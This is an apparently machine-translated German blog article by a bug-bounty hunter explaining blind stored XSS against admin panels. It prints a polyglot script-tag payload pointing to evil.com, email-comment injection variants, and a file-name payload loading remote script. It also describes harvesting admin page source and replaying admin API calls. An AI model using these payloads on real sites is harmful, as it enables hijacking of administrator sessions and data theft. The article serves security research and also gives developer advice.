Bug Hunt, Blind-XSS und Fox Tricks


Füchse wissen viel über die Jagd :)

Viele haben wahrscheinlich von BugBounty , einer Suche nach Belohnungsschwachstellen und ähnlichen Geschichten darüber gehört. Als einer der „Bug-Jäger“ habe ich meine Reise vor etwas mehr als einem Jahr am Standort HackerOne begonnen . In dieser Zeit habe ich viel über verschiedene Arten von Schwachstellen gelernt, viel Erfahrung gesammelt und möchte dies nun mit der Community teilen.

In diesem Artikel möchte ich über eine Art von Sicherheitsanfälligkeit wie Blind Cross-Site Scripting oder Blind Stored Cross-Site Scripting sprechen, wenn diese ins Russische übersetzt werden. Ich lade Sie zu cat ein, wenn Sie an solchen Themen interessiert sind oder die Sicherheit Ihrer Anwendung verbessern möchten.

Viele Webanwendungen verfügen über ein Verwaltungsfenster oder andere Varianten, mit denen Sie den Inhalt der Website steuern, Benutzerdaten verwalten und viele andere privilegierte Aktionen ausführen können. Das Verwaltungsportal kann durch Zugriff auf einen bestimmten Pool von IP-Adressen, Nur-HTTP-Cookies und natürlich durch Autorisierung geschützt werden.

Alle diese Schutzmechanismen können jedoch umgangen werden, wenn der vom Benutzer eingegebene Inhalt als bösartig eingestuft wird und die Anwendung die vom Benutzer gesendeten Informationen nicht ordnungsgemäß bereinigt.

Werkzeuge zur Verwendung


Machen wir uns zunächst mit den Tools vertraut, mit denen wir das entdeckte Blind-XSS erfolgreich nutzen können. Es unterscheidet sich von anderen Schwachstellen durch die Ausnutzungsmethode. Durch das Senden einer böswilligen Nachricht wissen wir nicht, ob JavaScript erfolgreich in HTML- Seiten integriert wurde oder nicht. Der Schadcode wird nur ausgeführt, wenn der Administrator die Seite mit diesem Code besucht. Andernfalls wissen wir möglicherweise nie, ob der Angriff erfolgreich war oder nicht.

Alle Arten von Frameworks, die exklusiv für die Blind-XSS-Injektion erstellt wurden, können uns operative Unterstützung bieten:

  1. XSS Hunter ( GitHub ) - eines der beliebtesten Frameworks
  2. ezXSS
  3. bXSS (mit SMS-Benachrichtigung)
  4. elScripto

Und viele andere. Jedes Framework hat seine eigenen Besonderheiten, sodass jeder Baghunter dasjenige auswählt, das für seine Bedürfnisse am bequemsten und geeignetsten ist. Da ich XSS Hunter verwende , werde ich später in diesem Artikel die Funktionen und deren Verwendung erläutern, um das beste Ergebnis zu erzielen.

Nachdem Sie das Framework eingerichtet haben, erhalten Sie Nutzdaten, die in verschiedenen Situationen angewendet werden können. Am häufigsten werden jedoch Polyglots verwendet, zum Beispiel:

\-->'></style></div></article></script><script/src=//evil.com> 

Eintrittspunkt oder Injektionspunkt


Alle Einstiegspunkte werden durch die Tatsache vereint, dass die eingegebenen Informationen nicht ordnungsgemäß vom JavaScript-Code befreit sind und die Implementierung dieses Codes in die HTML-Struktur der Verwaltungsseite ermöglichen. Meiner Meinung nach ist der beliebteste Einstiegspunkt eine Support-Nachricht.

Betrachten Sie die, die ich kenne.

1. Feedback-Formular

In dieser Form gibt es in der Regel folgende Felder:

  1. Überschrift
  2. Nachricht
  3. manchmal eine E-Mail-Adresse, falls der Administrator den Autor der Nachricht kontaktieren möchte.

Jedes dieser Felder ist möglicherweise anfällig für JavaScript-Injection. Aber hier gibt es einen kleinen Trick:
Wenn Sie das Feld E-Mail-Adresse sehen, geben Sie nicht auf, wenn es nichts anderes als die E-Mail-Struktur akzeptiert. Versuchen Sie: - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
- "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
Anführungszeichen und Klammern sind ein gültiger Bestandteil der E-Mail-Adresse und Kommentare gemäß den Spezifikationen von RFC 2822 (Abschnitt 3.4.1), RFC 3696 (Abschnitt 3).

Die Hälfte meiner erfolgreichen Injektionen ist nur die Injektion durch den Kommentar der E-Mail-Adresse. Meistens erlaubt die Überprüfung auf der Clientseite (Browser) die Verwendung solcher E-Mails immer noch nicht. Wir wissen jedoch, dass die Überprüfung des Kunden für uns nichts bedeutet:

Kurz über clientseitige Validierung und Hacker


Daher muss die E-Mail-Adresse nur beim Senden einer Anfrage mit einer Proxy-Anwendung (z. B. Burp Suite) ersetzt werden.

2. Formulare für Beschwerden / Vorschläge / Bewertungen

Sicherlich haben Sie oft die Zeile "Ist der Artikel nützlich?" (Diesen Artikel bewerten) auf Support-Portalen oder mit Dokumentation. Durch Klicken auf die Schaltfläche "Nein" können sie uns anbieten, eine Nachricht zu senden, warum der Artikel nicht nützlich war und was verbessert werden kann. Sie haben wahrscheinlich bereits verstanden, wo sich unsere Nutzlast in diesem Fall befinden würde.

Wenn Sie ähnliche Angebote zum Senden von Feedback sehen, sollten Sie diese unbedingt beachten und eine Nutzlast senden, die am Ende erfolgreich sein kann.

3. Kontoregistrierung

Ja, bei der Registrierung eines Kontos ist es äußerst unwahrscheinlich, dass unser Konto irgendwo im Verwaltungsbereich angezeigt wird. Wenn Sie jedoch die Nutzdaten in die E-Mail-Adresse einfügen, können Sie diese später verwenden, um Nachrichten als registrierter Benutzer an die Site zu senden. Gleichzeitig zeigen die Formulare selbst automatisch unsere Adresse im Verwaltungsbereich an, obwohl sie beim Senden eines Formulars oder einer Nachricht nicht direkt angefordert wurde.

4. Kundenbetreuung

Der naheliegendste Einstiegspunkt und wird am häufigsten ausgenutzt. Jedes Formular zum Anfordern von Support-Services kann sehr unterschiedlich sein. Achten Sie daher auf alle Felder, in die Sie eine Nutzlast einfügen können.

Die Möglichkeit, Dateien herunterzuladen, verdient besondere Aufmerksamkeit. Ein weiterer Trick besteht darin, dass die Nutzdaten im Dateinamen belassen werden können, zum Beispiel:

 Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html 

Und lassen Sie das gleiche Skript in der Datei selbst (danke an w9w für die Suche).

5. Lieferadresse / Firma / Haus

Eine Adresse wird auch häufig bei der Interaktion mit einem Benutzer verwendet, wenn dieser im Falle eines Lieferservices, eines Geschäfts, einer Hotelreservierung oder einer anderen Anwendung, die Adressen verarbeitet, etwas senden muss.

Das Adressfeld ist weit verbreitet und manchmal erfolgt die Validierung auf der Ebene einer vorhandenen Adresse. Daher müssen Sie möglicherweise die tatsächliche Adresse am Anfang eingeben und auf der Karte angeben. Bereits beim Senden der Anforderung müssen Sie die Nutzdaten zur gültigen Adresse hinzufügen, um die Anwendungsprüfungen zu umgehen.

6. Versteckte APIs

Wenn Sie JavaScript-Code lernen, finden Sie manchmal API-Endpunkte, die in der Anwendung nicht verwendet werden. Dies kann beispielsweise das Senden von Informationen über Fehler, das Debuggen und dergleichen sein. Es ist möglich, eine Anfrage basierend auf JS zu bilden und eine Nachricht mit einer Nutzlast zu senden.

Nachbetriebs- und Bypass-Schutzmechanismen


Nachdem viele ein Feedback vom erfolgreichen Betrieb von Blind-XSS erhalten haben, haben sie es eilig, dem Programm einen Fund mit Belohnungen für die gefundenen Schwachstellen zu melden. In den meisten Fällen erhalten solche Sicherheitsanfälligkeiten jedoch eine hohe Priorität, sind jedoch nicht kritisch. Wir haben verschiedene Möglichkeiten, um den kritischen Schaden durch eine mögliche Ausnutzung einer Sicherheitsanfälligkeit nachzuweisen.

1. Lernen der Quell-HTML-Panels

Bei jeder erfolgreichen Operation sendet uns XSS Hunter Informationen wie:

1. Benutzer-Cookie
2. Benutzer-Agent-Benutzer
3. IP-Adresse des Benutzers
4. URL der Seite, auf der das Skript ausgeführt wird
5. HTML-Quellcode der Seite
6. Seite Screenshot
7. Referrer



In der Regel gibt es keine Sitzungscookies, da sie das Attribut "Nur HTTP" haben. In diesem Fall ist der Quellcode der HTML-Seite für uns am nützlichsten. Darin finden Sie unter anderem JavaScript. Mit diesem Code können Sie nachvollziehen, wie Anforderungen zur Ausführung von Verwaltungsaktionen generiert werden. Sie müssen es studieren und versuchen, diese Aktionen auszuführen, indem Sie eine Anforderung manuell in Burp Suite oder einer anderen ähnlichen Software erstellen.

In meinem Fall befand sich das Admin-Panel in derselben Domäne, von der aus ich die Nutzdaten gesendet habe, sodass ich alle Skripte ohne zusätzliche Injektion öffnen konnte (obwohl dies in einer Injektion erfolgen kann). Zu meiner Überraschung gelang es mir, Anforderungen an die Verwaltungs-APIs zu senden und den Inhalt so zu verwalten, als wäre ich bereits Administrator, obwohl für den Zugriff auf die Verwaltungsbereiche noch eine Autorisierung erforderlich war.

Leider ist das Programm, in dem ich diese Sicherheitsanfälligkeiten erkennen konnte, privat und ich kann es nicht benennen oder den Prozess des Extrahierens von Anforderungen aus JS-Code detaillierter darstellen.

Als Ergebnis dieser Entdeckung gelang es mir, 2500 US-Dollar anstelle von 1000 US-Dollar zu erhalten, als wäre es eine Sicherheitslücke mit hoher Priorität.

2. Weitere Informationen erhalten.

Selbst wenn sich das Administrationsfenster hinter der Firewall befindet und es grundsätzlich keine Möglichkeit gibt, darauf zuzugreifen, können Sie dennoch weitere Informationen abrufen und die Kritikalität der erkannten Sicherheitsanfälligkeit erhöhen.

Mit XSS Hunter können Sie der Nutzlast Ihren eigenen JS-Code hinzufügen und zusätzliche Seiten zum Abrufen angeben:



Nach dem ersten erfolgreichen Vorgang können Sie zusätzliche Seiten extrahieren, die beim Studium des Quellcodes der HTML-Seite erhalten wurden. Auf die gleiche Weise können Sie Anforderungen mit Administratorrechten ausführen, dies erfordert jedoch komplexeren JS-Code.

Darüber hinaus denke ich, dass Sie eine rekursive HTML-Extraktion anderer Seiten des Verwaltungsbereichs hinzufügen können, auf der möglicherweise vertrauliche Informationen angezeigt werden, aber ich musste noch nicht darauf zurückgreifen.

Fazit


  1. Ich rate Entwicklern, alle ihre Felder in Bezug auf E-Mail-Adressen zu überprüfen, da sich sehr oft viele auf eine Standardprüfung der Struktur der E-Mail-Adresse stützen, ohne zu berücksichtigen, dass es möglich ist, eine vollständig gültige Adresse zu generieren, sondern mit bösartigem Code.
  2. Achten Sie auf kleinere Felder im Zusammenhang mit Feedback. Sie sind unterschiedlich und es ist unmöglich, sie alle aufzulisten.
  3. Seien Sie nicht faul, zusätzliche Informationen aus der empfangenen HTML-Seite zu extrahieren. Mit hoher Wahrscheinlichkeit kann dies Ihr Kopfgeld manchmal erhöhen.
  4. Versuchen Sie, für jeden Ihrer Blind-XSS kritische Auswirkungen nachzuweisen.

Ich schlage vor, meinen Kanal über Telegramm (nur auf Russisch) sowie einen Twitter- Account (auf Englisch) zu abonnieren, da es schwierig ist, Material für so große Artikel zu sammeln, aber ich kann ziemlich oft kurze Tricks und Fundstücke veröffentlichen.

Links finden Sie unten.

Gute Jagd!

Source: https://habr.com/ru/post/de470818/


All Articles